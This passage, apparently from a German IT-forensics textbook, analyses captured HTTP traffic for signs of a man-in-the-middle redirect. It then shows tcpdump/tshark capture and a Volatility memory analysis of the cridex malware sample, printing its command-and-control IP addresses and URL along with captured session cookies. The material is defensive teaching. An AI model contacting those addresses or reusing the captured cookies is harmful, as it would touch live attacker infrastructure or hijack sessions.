User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: PREF=ID=e838c2b817e3bce1:U=60062a538436b1c7:TM=1270920553:LM=1277842996:S =OhL3qyVMZ7U5iUhb; NID=33=ZS4fwc739Wy70aoYxXhJXt1y6ocR0vmTXrhRBTNbQDd97VaMPO0nU8HOWRAMoeDiWMECZGNAbbwsaYEA7WbJHOdrMC36T_k-jKbjN31U3HyBAG3RWHX3rGtAwzTvxRU HTTP/1.1 200 OK Date: Fri, 16 Jul 2010 03:39:32 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws Content-Length: 6019 X-XSS-Protection: 1; mode=block ... Ausgabe gekürzt GET /csi?v=3&s=webhp&action=&e=17259,18168,24483,25233,25460,25475,25511,25529,25585&ei=dNQ_TOej LY_6M_Sa8JwH&expi=17259,18168,24483,25233,25460,25475,25511,25529,25585&i mc=1&imn=1&imp=1&rt=prt.30,xjsls.37,xjses.75,xjsee.89,ol.92,iml.45 HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.google.com/ Cookie: PREF=ID=e838c2b817e3bce1:U=60062a538436b1c7:TM=1270920553:LM=1277842996:S 92
=OhL3qyVMZ7U5iUhb; NID=33=ZS4fwc739Wy70aoYxXhJXt1y6ocR0vmTXrhRBTNbQDd97VaMPO0nU8HOWRAMoeDiWMECZGNAbbwsaYEA7WbJHOdrMC36T_k-jKbjN31U3HyBAG3RWHX3rGtAwzTvxRU HTTP/1.1 204 No Content Content-Length: 0 Date: Wed, 21 Jan 2004 19:51:30 GMT Pragma: no-cache Cache-Control: private, no-cache Expires: Wed, 17 Sep 1975 21:32:10 GMT Content-Type: text/html Server: Golfe GET /complete/gsearch?hl=en&client=hp&expIds=17259,18168,24483,25233,25460,25475,25511,25529,25585&sugexp=ldymls& xhr=t&q=U&cp=1&pf=i&hl=en&source=hp&aq=f&aqi=&aql=&oq=U&gs_rfai=&fp=57d9c 86769d1bf04&tch=1&ech=1&psi=dNQ_TOejLY_6M_Sa8JwH12792515729190 HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.google.com/ Cookie: PREF=ID=e838c2b817e3bce1:U=60062a538436b1c7:TM=1270920553:LM=1277842996:S =OhL3qyVMZ7U5iUhb; NID=33=ZS4fwc739Wy70aoYxXhJXt1y6ocR0vmTXrhRBTNbQDd97VaMPO0nU8HOWRAMoeDiWMECZGNAbbwsaYEA7WbJHOdrMC36T_k-jKbjN31U3HyBAG3RWHX3rGtAwzTvxRU HTTP/1.1 200 OK Content-Type: application/json Date: Fri, 16 Jul 2010 03:39:39 GMT Expires: Fri, 16 Jul 2010 03:39:39 GMT Cache-Control: private, max-age=3600 Server: gws Transfer-Encoding: chunked Content-Encoding: gzip ... usw. 93
Wir sehen hier also zuerst eine GET-Anfrage über das HTTP-Protokoll und dann eine Antwort des Servers mit HTTP/1.1 200 OK, dann wieder eine GET-Anfrage, die Antwort HTTP/1.1 204 No Content, eine weitere GET-Anfrage und die Antwort HTTP/1.1 200 OK, usw. Es hat also einiges an Kommunikation stattgefunden und das beweist zwei Dinge: 1. Es war nicht nur ein Versuch, denn das Ausspähen von Daten wurde erfolgreich ermöglicht, da die Kommunikation umgeleitet wurde und auch eine Kommunikation über diese Umleitung erfolgt ist. 2. Es kann kein Zufall sein, denn damit die Kommunikation auch angenommen und weitergeleitet wird, muss der HP-Rechner auch entsprechend konfiguriert werden um dies zu tun. Sie sehen aber auch gut, dass wir hier schon beinahe eine rechtliche Bewertung abgeben. Das steht weder einem IT-Forensiker noch einem Sachverständigen zu und daher muss man mit derartigen Aussagen vorsichtig sein. Ob ein Tool am anderen Ende die Kommunikation tatsächlich belauscht hat können wir eventuell klären, wenn wir den HP-Rechner näher untersuchen. Worauf sollte man achten Im Bereich der IT-Forensik kommt es oft auf jedes Detail an und Wir sehen sehr viele Informationen in dem TCP Stream von vorhin. So sagt uns User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 zB das dieser PC höchstwahrscheinlich (diese Informationen kann man auch fälschen) ein Ubuntu 9.10 Rechner mit Firefox 3.4.8 ist und Accept-Language: en-us,en;q=0.5 deutet darauf hin, dass es ein englisch-sprachiges System ist. Aber auch das Fehlen von Informationen kann viel aussagen. Wissen wir, dass eine bestimmte Seite ein bestimmtes Cookie aus Sicherheitsgründen setzt und dieser scheint im TCP-Stream bei der Server-Antwort unter SetCookie nicht auf, dann deutet dies darauf hin, dass zB ein MITM (Man In The Middle) Angriff dieses Cookie herausgefiltert hat. 94
Ein plötzlicher Wechsel der Server-Identifikation im Head kann zB darauf hindeuten, dass DNS-Poisoning den User auf einen Fake-Server umgeleitet hat. Dies könnte man zB mit der IP des Servers überprüfen und wenn diese nicht zur IP-Range des Domaininhabers passt dann hat man den Beweis. Eine solche Analyse ist zeitaufwendig und Sie müssen mit entsprechender Sorgfalt jede Kleinigkeit beachten. Es gibt keinen Preis für Schnelligkeit! Geben Sie alles mehrfach durch und konzentrieren Sie sich nur auf eine Frage pro Durchgang! 95
Pakete auf Unix- und Linux-Rechnern aufzeichnen Auf diesen Systemen und damit auch auf OS X sollten Sie das Programm tcpdump finden. Zuerst müssen wir herausfinden welche Netzwerkkarten in Be- trieb sind und wie diese heißen: mark@ubuntu:~$ tcpdump --list-interfaces 1.enp8s0 [Up, Running] 2.any (Pseudo-device that captures on all interfaces) [Up, Running] 3.lo [Up, Running, Loopback] 4.virbr0 [Up] 5.docker0 [Up] 6.virbr0-nic 7.nflog (Linux netfilter log (NFLOG) interface) 8.nfqueue (Linux netfilter queue (NFQUEUE) interface) 9.usbmon1 (USB bus number 1) 10.usbmon2 (USB bus number 2) 11.usbmon3 (USB bus number 3) 12.usbmon4 (USB bus number 4) 13.usbmon5 (USB bus number 5) 14.usbmon6 (USB bus number 6) Hier entscheiden wir uns zB für enp8s0: mark@ubuntu:~$ sudo tcpdump -i enp8s0 -w dump.pcap [sudo] Passwort für mark: tcpdump: listening on enp8s0, link-type EN10MB (Ethernet), capture size 262144 bytes Die Option -i legt das Netzwerk-Interface fest und -w schreibt die Daten in eine Datei mit dem namen dump.pcap. Den Vorgang können wir dann mit Strg + C abbrechen. Dann erhalten wir folgende Meldung: ^C 2397 packets captured 2413 packets received by filter 0 packets dropped by kernel Hier wurden 2397 Pakete in 15,3 Sekunden und damit ca. dem gleichen Zeitraum wie im vorherigen Dump aufgezeichnet. Da dieser Rechner auch gerade einige Browsertabs offen hatte und zusätzlich noch Musik über einen Streaming-Dienst lief war die Paketanzahl deutlich höher und das entspricht eher einem Rechner der gerade benutzt wird. 96
Damit wären wir bei über 560.000 Paketen pro Stunde! Also sehen Sie sich die Filter-Möglichkeiten unter https://www.tcpdump.org/ tcpdump_man.html genau an - sie werden sie brauchen. Für tskark gilt folgende Syntax: root@kali:~# tshark -i eth0 -w /mnt/d/dump.pcapng Natürlich unterstützt auch tshark das Filtern und viele weitere Optionen. Diese entnehmen Sie der Dokumentation unter: https://www.wireshark.org/ docs/man-pages/tshark.html Wenn Sie lieber mit einer grafischen Oberfläche arbeiten, können Sie auch termshark installieren. Dies ist ein grafisches Frontend für tshark im Stil von Wireshark. 97
RAM-ANALYSE MIT VOLATILITY Anfänglich war der Standard in der digitalen Forensik das ausschalten des Systems und die Untersuchung der Datenträger. Dies ist aber seit langer Zeit nicht mehr Stand der Technik! Der RAM-Speicher enthält eine Fülle an wertvollen Informationen wie zB Programme, DLLs, Netzwerkverbindungen, geöffnete Dateien und RegistrySchlüssel, etc. Das Vorgehen bei der RAM-Analyse folgt in etwa diesen Schritten: 1. Identifizieren von verdächtigen Prozessen Hierbei können Prozesse, die auf den ersten Blick unverdächtig wirken durchaus schädlich sein. Oftmals tarnen sich derartige Prozesse gut oder heißen gleich wie ein legitimer Systemprozess nur mit einer leicht anderen Schreibweise. 2. Analyse der DLLs Ist ein verdächtiger Prozess gefunden, dann gilt es zu untersuchen welche DLL-Dateien dieser Prozess lädt. Das lässt auch Rückschlüsse darauf zu was dieser Prozess machen könnte. 3. Analyse der Netzwerkverbindungen Malware wird oft fremdgesteuert oder sendet Daten an den Entwickler. 4. Suche nach Hinweisen auf Code-Injection Schadware nutzt oft Techniken wie Process-Hollowing um sich in einen laufenden Prozess einzufügen 5. Suche nach Rootkits Hat ein Hacker oder Malware Zugriff auf Ihr System dann wollen diese möglichst unentdeckt bleiben. Dazu bieten sich sogenannte Rootkits an, die sich selber vor den Werkzeugen des Systems verstecken können. So schaffen es Rootkits zB die eigenen Netzwerkverbindungen vor netstat oder den eigenen Prozess vor dem Taskmanager zu verstecken. Im RAM-Speicher finden sich allerdings Hinweise auf diese Programme. 6. Extrahieren von verdächtigen Prozessen, DLLs und Treibern Nachdem Sie eine Datei identifiziert haben, können Sie diese aus dem RAMDump extrahieren um diese weiter zu untersuchen - zB mit einem Disassembler. Wenn Sie eine schnelle Antwort brauchen hilft in vielen Fällen https://virustotal.com! Also üben wir dies gleich an einem konkreten Beispiel - hierzu habe ich die Datei cridex_memdump.zip von https://github.com/volatilityfoundation/volatility/ wiki/Memory-Samples heruntergeladen und entpackt. 98
Dann können wir uns zuerst die Informationen über den Dump ansehen: mark@REMnux$ volatility -f cridex.vmem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG... Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86) AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/home/mark/cridex.vmem) PAE type : PAE DTB : 0x2fe000L KDBG : 0x80545ae0L Number of Processors : 1 Image Type (Service Pack) : 3 KPCR for CPU 0 : 0xffdff000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2012-07-22 02:45:08 UTC+0000 Image local date and time : 2012-07-21 22:45:08 -0400 Um den RAM-Dump richtig zu zerlegen und die passenden Informationen zu erhalten müssen wir das richtige Profil definieren. imageinfo gibt uns neben den Grundlegenden Daten über das Image auch einige Vorschläge für das passende Profil. mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 psxview Volatility Foundation Volatility Framework 2.6 Offset(P) Name PID pslist psscan thrdproc pspcid csrss session deskthrd ---------- -------------------- ------ ------ ------ -------- ------ ----- ------ ------- 0x02498700 winlogon.exe True 608 True True True True True True 0x02511360 svchost.exe 824 True True True True True True 0x022e8da0 alg.exe 788 True True True True True True True 1512 True True True True True True True 0x020b17b8 spoolsv.exe 0x0202ab28 services.exe True 652 True True True True True True True 0x02495650 svchost.exe 1220 True True True True True True True 0x0207bda0 reader_sl.exe 1640 True True True True True True True 0x025001d0 svchost.exe 1004 True True True True True True True 0x02029ab8 svchost.exe 908 True True True True True True True 0x023fcda0 wuauclt.exe 1136 True True True True True True True 0x0225bda0 wuauclt.exe 1588 True True True True True True True 664 True True True True True True True 0x023dea70 explorer.exe 1484 True True True True True True True 0x023dfda0 svchost.exe 1056 True True True True True True True 368 True True True True False False 0x0202a3b8 lsass.exe 0x024f1020 smss.exe False 99
0x025c89c8 System 0x024a0598 csrss.exe 4 True True True True False False False 584 True True True True False True True Das Modul psxview ist mein liebster Startpunkt denn damit wird die Sichtbarkeit von Prozessen über die verschiedensten Module ermittelt. Versteckte Prozesse, die in pslist und/oder psscan nicht aufscheinen (false) aber in den anderen sollten zuerst genauer untersucht werden. Hier haben wir aber keine versteckten Prozesse. Also sehen wir uns die Netzwerkverbindungen an: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 netscan Volatility Foundation Volatility Framework 2.6 ERROR : volatility.debug : This command does not support the profile WinXPSP2x86 Da netscan nur auf Vista und später arbeitet können wir hier connscan verwenden. Falls Sie sich auch für die Sockets interessieren, die netscan auch liefert, dann gibt es noch das Modul socket für Pre-Vista Systeme. mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 connscan Volatility Foundation Volatility Framework 2.6 Offset(P) Local Address Remote Address Pid ---------- ------------------------- ------------------------- --0x02087620 172.16.112.128:1038 41.168.5.140:8080 1484 0x023a8008 172.16.112.128:1037 125.19.103.198:8080 1484 Sehen wir uns die Liste der Prozesse genauer an: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 pslist Volatility Foundation Volatility Framework 2.6 Offset(V) PID PPID Thds Hnds Sess Wow64 Start ---------- -------------- ----- ------ ------ -------- ------ ------ -------------------------0x823c89c8 System 4 0 53 240 ------ 0x822f1020 smss.exe 368 4 3 19 ------ 0x822a0598 csrss.exe 584 368 9 326 0 0 2012-07-22 02:42:32 UTC+0000 0x82298700 winlogon.exe 608 368 23 519 0 0 2012-07-22 02:42:32 UTC+0000 0x81e2ab28 services.exe 652 608 16 243 0 0 2012-07-22 02:42:32 UTC+0000 0x81e2a3b8 lsass.exe 664 608 24 330 0 0 2012-07-22 02:42:32 UTC+0000 0x82311360 svchost.exe 824 652 20 194 0 0 2012-07-22 02:42:33 UTC+0000 0x81e29ab8 svchost.exe 908 652 9 226 0 0 2012-07-22 02:42:33 UTC+0000 0x823001d0 svchost.exe 1004 652 64 1118 0 0 2012-07-22 02:42:33 UTC+0000 0x821dfda0 svchost.exe 1056 652 5 60 0 0 2012-07-22 02:42:33 UTC+0000 0x82295650 svchost.exe 1220 652 15 197 0 0 2012-07-22 02:42:35 UTC+0000 100 0 0 2012-07-22 02:42:31 UTC+0000
0x821dea70 explorer.exe 1484 1464 17 415 0 0x81eb17b8 spoolsv.exe 1512 652 14 113 0 0 2012-07-22 02:42:36 UTC+0000 0x81e7bda0 reader_sl.exe 1640 1484 5 39 0 0 2012-07-22 02:42:36 UTC+0000 0x820e8da0 alg.exe 0 2012-07-22 02:42:36 UTC+0000 788 652 7 104 0 0 2012-07-22 02:43:01 UTC+0000 0x821fcda0 wuauclt.exe 1136 1004 8 173 0 0 2012-07-22 02:43:46 UTC+0000 0x8205bda0 wuauclt.exe 1588 1004 5 132 0 0 2012-07-22 02:44:01 UTC+0000 Eine visuell etwas bessere Übersicht der Hierarchie erhalten wir mit: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 pstree Volatility Foundation Volatility Framework 2.6 Name Pid PPid Thds Hnds Time ------------------------------- ------ ------ ------ ------ ---4 0 53 . 0x822f1020:smss.exe 0x823c89c8:System 368 4 3 240 1970-01-01 00:00:00 UTC+0000 19 2012-07-22 02:42:31 UTC+0000 .. 0x82298700:winlogon.exe 608 368 23 519 2012-07-22 02:42:32 UTC+0000 243 2012-07-22 02:42:32 UTC+0000 ... 0x81e2ab28:services.exe 652 608 16 .... 0x821dfda0:svchost.exe 1056 652 5 60 2012-07-22 02:42:33 UTC+0000 .... 0x81eb17b8:spoolsv.exe 1512 652 14 113 2012-07-22 02:42:36 UTC+0000 .... 0x81e29ab8:svchost.exe 908 652 9 226 2012-07-22 02:42:33 UTC+0000 .... 0x823001d0:svchost.exe 1004 652 64 1118 2012-07-22 02:42:33 UTC+0000 ..... 0x8205bda0:wuauclt.exe 1588 1004 5 132 2012-07-22 02:44:01 UTC+0000 ..... 0x821fcda0:wuauclt.exe 1136 1004 8 173 2012-07-22 02:43:46 UTC+0000 .... 0x82311360:svchost.exe 824 652 20 194 2012-07-22 02:42:33 UTC+0000 .... 0x820e8da0:alg.exe 788 652 7 104 2012-07-22 02:43:01 UTC+0000 1220 652 15 197 2012-07-22 02:42:35 UTC+0000 ... 0x81e2a3b8:lsass.exe 664 608 24 330 2012-07-22 02:42:32 UTC+0000 .. 0x822a0598:csrss.exe 584 368 9 326 2012-07-22 02:42:32 UTC+0000 0x821dea70:explorer.exe 1484 1464 17 415 2012-07-22 02:42:36 UTC+0000 . 0x81e7bda0:reader_sl.exe 1640 1484 5 39 2012-07-22 02:42:36 UTC+0000 .... 0x82295650:svchost.exe Der einzige Prozess der mit dem Internet kommuniziert ist explorer.exe und die IP-Adressen gehören laut whois zumindest nun nach Providern in Kenia und Indien. Dies sind nicht gerade die Destinationen mit denen dieser Prozess kommunizieren sollte. Darum sehen wir uns einmal die DLL-Liste von PID (-p) 1484 an: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 dlllist -p 1484 Volatility Foundation Volatility Framework 2.6 ************************************************************************ explorer.exe pid: 1484 Command line : C:\WINDOWS\Explorer.EXE 101
Service Pack 3 Base Size LoadCount LoadTime ---------- ---------- ---------- --------0x01000000 0xff000 0xffff 0x7c900000 0xaf000 0xffff 0x7c800000 0xf6000 0xffff 0x77dd0000 0x9b000 0xffff 0x77e70000 0x92000 0xffff 0x77fe0000 0x11000 0xffff 0x75f80000 0xfd000 0xffff 0x77f10000 0x49000 0xffff 0x7e410000 0x91000 0xffff 0x77c10000 0x58000 0xffff 0x774e0000 0x13d000 0xffff 0x77f60000 0x76000 0xffff 0x77120000 0x8b000 0xffff 0x7e290000 0x171000 0xffff 0x77a80000 0x95000 0xffff 0x77b20000 0x12000 0xffff 0x754d0000 0x80000 0xffff 0x5b860000 0x55000 0xffff 0x77c00000 0x8000 0xffff 0x771b0000 0xaa000 0xffff 0x76c30000 0x2e000 0xffff 0x76c90000 0x28000 0xffff 0x76f60000 0x2c000 0xffff 0x7c9c0000 0x817000 0xffff 0x5ad70000 0x38000 0xffff 0x5cb70000 0x26000 0x1 0x6f880000 0x1ca000 0x1 0x76b40000 0x2d000 0x10 0x77be0000 0x15000 0x3 0x769c0000 0xb4000 0x13 0x773d0000 0x103000 0x13 0x5d090000 0x77b40000 0x76fd0000 0x77050000 0x77a20000 0x76600000 102 0x9a000 0x22000 0x7f000 0xc5000 0x54000 0x1d000 0x2 0x1 0x2 0x2 0x2 0x2 Path ---C:\WINDOWS\Explorer.EXE C:\WINDOWS\system32\ntdll.dll C:\WINDOWS\system32\kernel32.dll C:\WINDOWS\system32\ADVAPI32.dll C:\WINDOWS\system32\RPCRT4.dll C:\WINDOWS\system32\Secur32.dll C:\WINDOWS\system32\BROWSEUI.dll C:\WINDOWS\system32\GDI32.dll C:\WINDOWS\system32\USER32.dll C:\WINDOWS\system32\msvcrt.dll C:\WINDOWS\system32\ole32.dll C:\WINDOWS\system32\SHLWAPI.dll C:\WINDOWS\system32\OLEAUT32.dll C:\WINDOWS\system32\SHDOCVW.dll C:\WINDOWS\system32\CRYPT32.dll C:\WINDOWS\system32\MSASN1.dll C:\WINDOWS\system32\CRYPTUI.dll C:\WINDOWS\system32\NETAPI32.dll C:\WINDOWS\system32\VERSION.dll C:\WINDOWS\system32\WININET.dll C:\WINDOWS\system32\WINTRUST.dll C:\WINDOWS\system32\IMAGEHLP.dll C:\WINDOWS\system32\WLDAP32.dll C:\WINDOWS\system32\SHELL32.dll C:\WINDOWS\system32\UxTheme.dll C:\WINDOWS\system32\ShimEng.dll C:\WINDOWS\AppPatch\AcGenral.DLL C:\WINDOWS\system32\WINMM.dll C:\WINDOWS\system32\MSACM32.dll C:\WINDOWS\system32\USERENV.dll C:\WINDOWS\WinSxS\x86_Microsoft. Windows.Common-Controls_ 6595b64144ccf1df_6.0.2600.5512_xww_35d4ce83\comctl32.dll C:\WINDOWS\system32\comctl32.dll C:\WINDOWS\system32\appHelp.dll C:\WINDOWS\system32\CLBCATQ.DLL C:\WINDOWS\system32\COMRes.dll C:\WINDOWS\System32\cscui.dll C:\WINDOWS\System32\CSCDLL.dll
0x5ba60000 0x71000 0x76380000 0x5000 0x01100000 0x2c5000 0x71d40000 0x1b000 0x7d1e0000 0x2bc000 0x77920000 0xf3000 0x76980000 0x8000 0x76990000 0x25000 0x76b20000 0x11000 0x7e1e0000 0xa2000 0x68000000 0x36000 0x76400000 0x1a5000 0x76c00000 0x2e000 0x478c0000 0xa000 0x76e80000 0xe000 0x736d0000 0x6000 ... Ausgabe gekürzt 0x1 0x1 0x3 0x1 0x1 0x6 0x1 0x1 0x2 0x3 0x1 0x1 0x1 0x2 0x7 0x1 C:\WINDOWS\system32\themeui.dll C:\WINDOWS\system32\MSIMG32.dll C:\WINDOWS\system32\xpsp2res.dll C:\WINDOWS\system32\actxprxy.dll C:\WINDOWS\system32\msi.dll C:\WINDOWS\system32\SETUPAPI.dll C:\WINDOWS\system32\LINKINFO.dll C:\WINDOWS\system32\ntshrui.dll C:\WINDOWS\system32\ATL.DLL C:\WINDOWS\system32\urlmon.dll C:\WINDOWS\system32\rsaenh.dll C:\WINDOWS\system32\NETSHELL.dll C:\WINDOWS\system32\credui.dll C:\WINDOWS\system32\dot3api.dll C:\WINDOWS\system32\rtutils.dll C:\WINDOWS\system32\dot3dlg.dll Die fett hervorgehobene DLL sieht suspekt aus wegen dem Pfad. Dieser ist mir gänzlich unbekannt. Also extrahieren wie diese DLL und machen einen Schnelltest: 103
mark@REMnux$ mkdir dlls_extracted mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 dlldump -p 1484 -b 0x773d0000 -D dlls_extracted/ Volatility Process(V) ---------0x821dea70 Foundation Volatility Framework 2.6 Name Module Base Module Name Result ---------------- ----------- -------------- -----explorer.exe 0x0773d0000 comctl32.dll OK: module.1484.23dea70. 773d0000.dll Zuerst erstellen wir den Ordner dlls_extracted und dann exportieren wie die DLL von PID (-p) 1484, die an der Base-Adresse (-b) 0x773d0000 zu finden ist in den Ordner (-D) dlls_extracted. Nach dem Upload auf Virustotal sehen wir Folgendes: Auch wenn Virustotal die Datei nicht als Schadware erkennt, im Internet finden wir einiges über diese Datei - ich überlasse es an dieser Stelle Ihnen sich die ganzen Forenbeiträge und Artikel durchzulesen. Nach so langer Zeit sollte die Malware allerdings erkannt werden und selbst wenn dies ein aktueller Fall wäre, wird Schadware nach wenigen Tagen erkannt. 2-3 Tage nach dem Erstellen des Dumps sollten die Virenscanner Alarm schlagen. Für den Fall, dass ich mich verrannt habe, gehe ich nochmals zurück und schaue mir an was noch mit exporer.exe zusammenhängt und dabei sehe ich Folgendes: 0x821dea70:explorer.exe 1484 1464 17 415 2012-07-22 02:42:36 UTC+0000 . 0x81e7bda0:reader_sl.exe 1640 1484 5 39 2012-07-22 02:42:36 UTC+0000 PID 1384 (explorer.exe) hat PID 1640 (reader_sl.exe) gestartet. Also sehen wir uns diese Datei näher an: 104
mark@REMnux$ mkdir exes_extracted mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 procdump -p 1640 -D exes_extracted/ Volatility Foundation Volatility Framework 2.6 Process(V) ImageBase Name Result ---------- ---------- -------------------- -----0x81e7bda0 0x00400000 reader_sl.exe OK: executable.1640.exe Und Virustotal meldet: Basierend darauf können wir nun die EXE-Datei und die DLL genauer untersuchen. Dazu können wir zB den Befehl strings verwenden: mark@REMnux$ strings exes_extracted/executable.1640.exe |grep -E "[09]+\.[0-9]+\.[0-9]+\.[0-9]+" <assemblyIdentity type="win32" name="Microsoft.VC80.CRT" version="8.0.50727.762" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity> mark@REMnux$ strings dlls_extracted/module.1484.23dea70.773d0000.dll |grep -E "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" MicrosoftWindowsCommon-Controls-6.0.2600.5512-comctl32.pdb Hier versuche ich mit dem regulären Ausdruck [0-9]+\.[0-9]+\.[0-9]+\.[0-9]+ IP-Adressen zu finden. Dieser ist zwar nicht ganz sauber formuliert aber ich kann ja immer weiter filtern. Das erbrachte wenig. Also versuchen wir es mit Dateinamen und URLs: mark@REMnux$ strings dlls_extracted/module.1484.23dea70.773d0000.dll |grep -E "[a-z]+\.[a-z]{2,3}" msvcrt.dll ntdll.dll UxTheme.dll 0w.tc msvcrt.dll ntdll.dll 105
mark@REMnux$ strings exes_extracted/executable.1640.exe z]+\.[a-z]{2,3}" |sys|\ddraw.dll |rdr|\AdobeUpdater.dll |rdr|\Javascripts\JSByteCodeWin.bin |rdr|\plug_ins\weblink.api |rdr|\plug_ins\updater.api |rdr|\plug_ins\spelling.api |rdr|\plug_ins\sendmail.api |rdr|\plug_ins\search.api |rdr|\plug_ins\saveasrtf.api |rdr|\plug_ins\reflow.api |rdr|\plug_ins\readoutloud.api |rdr|\plug_ins\ppklite.api |rdr|\plug_ins\pddom.api |rdr|\plug_ins\multimedia.api |rdr|\plug_ins\makeaccessible.api |rdr|\plug_ins\hls.api |rdr|\plug_ins\escript.api |rdr|\plug_ins\ebook.api |rdr|\plug_ins\dva.api |rdr|\plug_ins\digsig.api |rdr|\plug_ins\compare.api |rdr|\plug_ins\checkers.api |rdr|\plug_ins\annots.api |rdr|\plug_ins\acroform.api |rdr|\plug_ins\accessibility.api |rdr|\cooltype.dll |rdr|\bib.dll |rdr|\agm.dll |rdr|\ace.dll |cad|\desktop.ini |cad|\adobe\acrobat\9.0\usercache.bin |grep -E Auf den ersten Blick nichts extrem "Komisches" aber was es mit den Zeilen AdobeUpdater.dll Javascripts\JSByteCodeWin.bin plug_ins\sendmail.api adobe\acrobat\9.0\usercache.bin 106 "[a-
auf sich hat, sollten wir prüfen. Wir könnten einfach eine VM mit dem entsprechenden System aufsetzen und dann das vermeintliche Programm aufspielen und prüfen ob dieses die gleichen Einträge hat. Apropos Programm - schauen wir mal was sich hinter der PID 1640 versteckt: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 cmdline Volatility Foundation Volatility Framework 2.6 ************************************************************************ System pid: 4 ************************************************************************ smss.exe pid: 368 Command line : \SystemRoot\System32\smss.exe ************************************************************************ csrss.exe pid: 584 Command line : C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16 ************************************************************************ winlogon.exe pid: 608 Command line : winlogon.exe ************************************************************************ services.exe pid: 652 Command line : C:\WINDOWS\system32\services.exe ************************************************************************ lsass.exe pid: 664 Command line : C:\WINDOWS\system32\lsass.exe ************************************************************************ svchost.exe pid: 824 Command line : C:\WINDOWS\system32\svchost -k DcomLaunch ************************************************************************ svchost.exe pid: 908 Command line : C:\WINDOWS\system32\svchost -k rpcss ************************************************************************ svchost.exe pid: 1004 Command line : C:\WINDOWS\System32\svchost.exe -k netsvcs ************************************************************************ svchost.exe pid: 1056 Command line : C:\WINDOWS\system32\svchost.exe -k NetworkService ************************************************************************ svchost.exe pid: 1220 Command line : C:\WINDOWS\system32\svchost.exe -k LocalService ************************************************************************ 107
explorer.exe pid: 1484 Command line : C:\WINDOWS\Explorer.EXE ************************************************************************ spoolsv.exe pid: 1512 Command line : C:\WINDOWS\system32\spoolsv.exe ************************************************************************ reader_sl.exe pid: 1640 Command line : "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe" ************************************************************************ alg.exe pid: 788 Command line : C:\WINDOWS\System32\alg.exe ************************************************************************ wuauclt.exe pid: 1136 Command line : "C:\WINDOWS\system32\wuauclt.exe" /RunStoreAsComServer Local\[3ec]SUSDSb81eb56fa3105543beb3109274ef8ec1 ************************************************************************ wuauclt.exe pid: 1588 Command line : "C:\WINDOWS\system32\wuauclt.exe" Es sollte also tatsächlich wie Vermutet der Adobe Reader 9 sein. Die Genaue Analyse dieser Datei machen wir in einem späteren Kapitel. Jetzt sehen wir uns noch an ob sich interessante String in dem Bereich im RAM befinden der diesem Prozess gehört: mark@REMnux$ volatility -f cridex.vmem --profile WinXPSP2x86 memdump -p 1640 -D mem_extracted/ Volatility Foundation Volatility Framework 2.6 ************************************************************************ Writing reader_sl.exe [ 1640] to 1640.dmp mark@REMnux$ strings dlls_extracted/1640.dmp |grep -E "[0-9]+\.[09]+\.[0-9]+\.[0-9]+" http://188.40.0.138:8080/zb/v_01_a/in/cp.php <assemblyIdentity type="win32" name="Microsoft.VC80.CRT" version="8.0.50727.762" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity> <assemblyIdentity name="WindowsShell" processorArchitecture="x86" version="5.1.0.0" type="win32"/> version="6.0.0.0" MicrosoftWindowsCommon-Controls-6.0.2600.5512-comctl32.pdb version="1.0.0.0" version="6.0.0.0" Host:239.255.255.250:1900 108
